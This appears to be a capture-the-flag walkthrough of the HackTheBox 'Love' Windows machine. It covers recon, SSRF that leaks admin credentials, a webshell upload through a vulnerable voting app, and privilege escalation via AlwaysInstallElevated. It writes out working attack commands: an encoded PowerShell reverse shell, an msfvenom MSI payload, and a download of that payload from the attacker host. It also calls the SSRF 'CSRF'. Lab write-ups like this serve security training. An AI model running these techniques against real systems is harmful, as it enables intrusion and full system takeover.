An easy Windows box from HackTheBox, leak admin creds to a voting dashboard via SSRF and upload a webshell for initial access, then install a malicious .msi file to get SYSTEM.

Recon

Running the usual nmap

sudo nmap -sC -sV -Pn -oA nmap/init 10.10.10.239
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Voting System using PHP
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp  open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql?
| fingerprint-strings: 
|   LDAPSearchReq, WMSRequest, X11Probe, giop: 
|_    Host '10.10.14.9' is not allowed to connect to this MariaDB server
5000/tcp open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.92%I=7%D=9/25%Time=63311346%P=x86_64-pc-linux-gnu%r(X1
SF:1Probe,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.9'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(LDAPSearc
SF:hReq,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.9'\x20is\x20not\x20allo
SF:wed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(WMSRequest,
SF:49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.9'\x20is\x20not\x20allowed\x
SF:20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(giop,49,"E\0\0\x
SF:01\xffj\x04Host\x20'10\.10\.14\.9'\x20is\x20not\x20allowed\x20to\x20con
SF:nect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

In the output notice a few important things

  • The domain name is staging.love.htb -> Try for more subdomains
  • Port 80 is a site that uses PHP
  • SMB is running on the server, maybe try to enumerate that
  • Have another site on port 5000 that seems to only be accessible from localhost

Starting at the top of the list, port 80 and 443

Add staging.love.htb and love.htb to /etc/hosts, and navigate to those sites

love.htb has a login at the first page, try out some default creds but no luck

Run a gobuster for love.htb

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40 --url http://love.htb -x php

And find some interesting directories

# love.htb directories

/images               (Status: 301) [Size: 330] [--> http://love.htb/images/]
/admin                (Status: 301) [Size: 329] [--> http://love.htb/admin/] 
/includes             (Status: 301) [Size: 332] [--> http://love.htb/includes/]
/plugins              (Status: 301) [Size: 331] [--> http://love.htb/plugins/] 
/Admin                (Status: 301) [Size: 329] [--> http://love.htb/Admin/]   
/Images               (Status: 301) [Size: 330] [--> http://love.htb/Images/]  
/index.php            (Status: 200) [Size: 4388]                               
/Includes             (Status: 301) [Size: 332] [--> http://love.htb/Includes/]
/ADMIN                (Status: 301) [Size: 329] [--> http://love.htb/ADMIN/]   
/examples             (Status: 503) [Size: 398]                                
/dist                 (Status: 301) [Size: 328] [--> http://love.htb/dist/]    
/IMAGES               (Status: 301) [Size: 330] [--> http://love.htb/IMAGES/]  
/tcpdf                (Status: 301) [Size: 329] [--> http://love.htb/tcpdf/]   
/PlugIns              (Status: 301) [Size: 331] [--> http://love.htb/PlugIns/] 
/INCLUDES             (Status: 301) [Size: 332] [--> http://love.htb/INCLUDES/]
/Plugins              (Status: 301) [Size: 331] [--> http://love.htb/Plugins/] 
/Index.php            (Status: 200) [Size: 4388]  

Notably, see /admin, which opens up another login screen

This time, try and succeed to enumerate usernames as there is a different error message when the username vs password is incorrect - “admin” seems to be a valid username for this page

Moving to the staging.love.htb site it seems to be a staging area for another product, some kind of file scanner

Besides this, no other pages are accessible from the home page

So run a gobuster

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -k -t 40 --url http://staging.love.htb -x php
/webalizer            (Status: 403) [Size: 306]
/beta.php             (Status: 200) [Size: 4997]
/index.php            (Status: 200) [Size: 5357]
/phpmyadmin           (Status: 403) [Size: 306] 
/examples             (Status: 503) [Size: 406] 
/licenses             (Status: 403) [Size: 425] 
/server-status        (Status: 403) [Size: 425] 
/Beta.php             (Status: 200) [Size: 4997]
/Index.php            (Status: 200) [Size: 5357]
/con                  (Status: 403) [Size: 306] 
/con.php              (Status: 403) [Size: 306] 
/BETA.php             (Status: 200) [Size: 4997]

And find a beta.php page that when navigated to, says to “specify the file URL”, likely a CSRF angle here

Make a simple test.html file in the kali working directory

<html>
        <h1>Hello</h1>
</html>

Then spin up a http server with python to serve it

kali> python3 -m http.server 80

And request it from the beta.php URL box to see the contents of the file rendered on the page

Exploitation

The immediate thought is that since it renders on the page, we can request a php file and it will render on the page, giving us code execution

So to test it out, try a simple php file

<?php system("id"); ?>

But no dice, instead, try to go a different direction and expose that service on port 5000 that is only viewable from localhost - as discovered in the nmap scan

Typing in “localhost:5000” get a response that contains credentials for the admin panel on the voting site!

admin: @LoveIsInTheAir!!!!

Loging into the site

http://love.htb/admin

With the above creds login to something called “Voting System”, a dashboard specifically for voting I guess

Quickly looking around there is nothing obvious that we can change about the site, not like wordpress where we could embed a webshell in a plugin or something

So looking at searchsploit for voting

searchsploit voting

Online Voting System 1.0 - RCE (Authenticated) | php/webapps/50076.txt

Find an authenticated RCE with consists of uploading a file during the saving of a new candidate, where you get the option to upload a photo of them

This upload isn’t checked, and can just upload a php webshell instead

So, testing it out with this simple webshell

When we try to save it says we need a valid position, so go to the positions tab and quickly make one called test, then create our test candidate

Then right click on the photo and open in a new tab to see the webshell

Now, to get a reverse shell its as easy as using an encoded powershell one liner

Using this webshell, get a reverse shell with PowerShell with this one liner script, save it to a local .ps1 file, and change the IP and Port to match the Kali IP and listener port

Now need to execute this script using the webshell by encoding it, first to windows URL encoding then to base64

cat rev.ps1 | iconv -t utf-16le | base64 -w 0

Start a listener on the chosen port, and send this payload in the webshell

powershell -enc ENCODED_PAYLOAD

And catch the reverse shell

connect to [10.10.14.9] from (UNKNOWN) [10.10.10.239] 53898
PS C:\xampp\htdocs\omrs\images> whoami
love\phoebe
PS C:\xampp\htdocs\omrs\images> 

Enumerating the box, find out that the Windows Installer has the AlwaysInstallElevated privilege on - meaning all installed software that is packaged as .msi will have SYSTEM privileges

PS C:\Users\Phoebe\Desktop> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

From here, just create a malicious .msi file with msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=KALI_IP LPORT=4444 -f msi > shell.msi 

Start a reverse shell on 4444 and transfer the file using powershell

PS C:\Users\Phoebe\Desktop> Invoke-WebRequest -Uri "http://10.10.14.9/shell.msi" -OutFile .\shell.msi
PS C:\Users\Phoebe\Desktop> dir


    Directory: C:\Users\Phoebe\Desktop


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----         9/25/2022  10:10 PM         159744 shell.msi                                                            
-ar---         9/25/2022   8:08 PM             34 user.txt                                                             

Then execute it with

PS C:\Users\Phoebe\Desktop> msiexec /quiet /qn /i shell.msi

To catch a system shell

connect to [10.10.14.9] from (UNKNOWN) [10.10.10.239] 53907
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>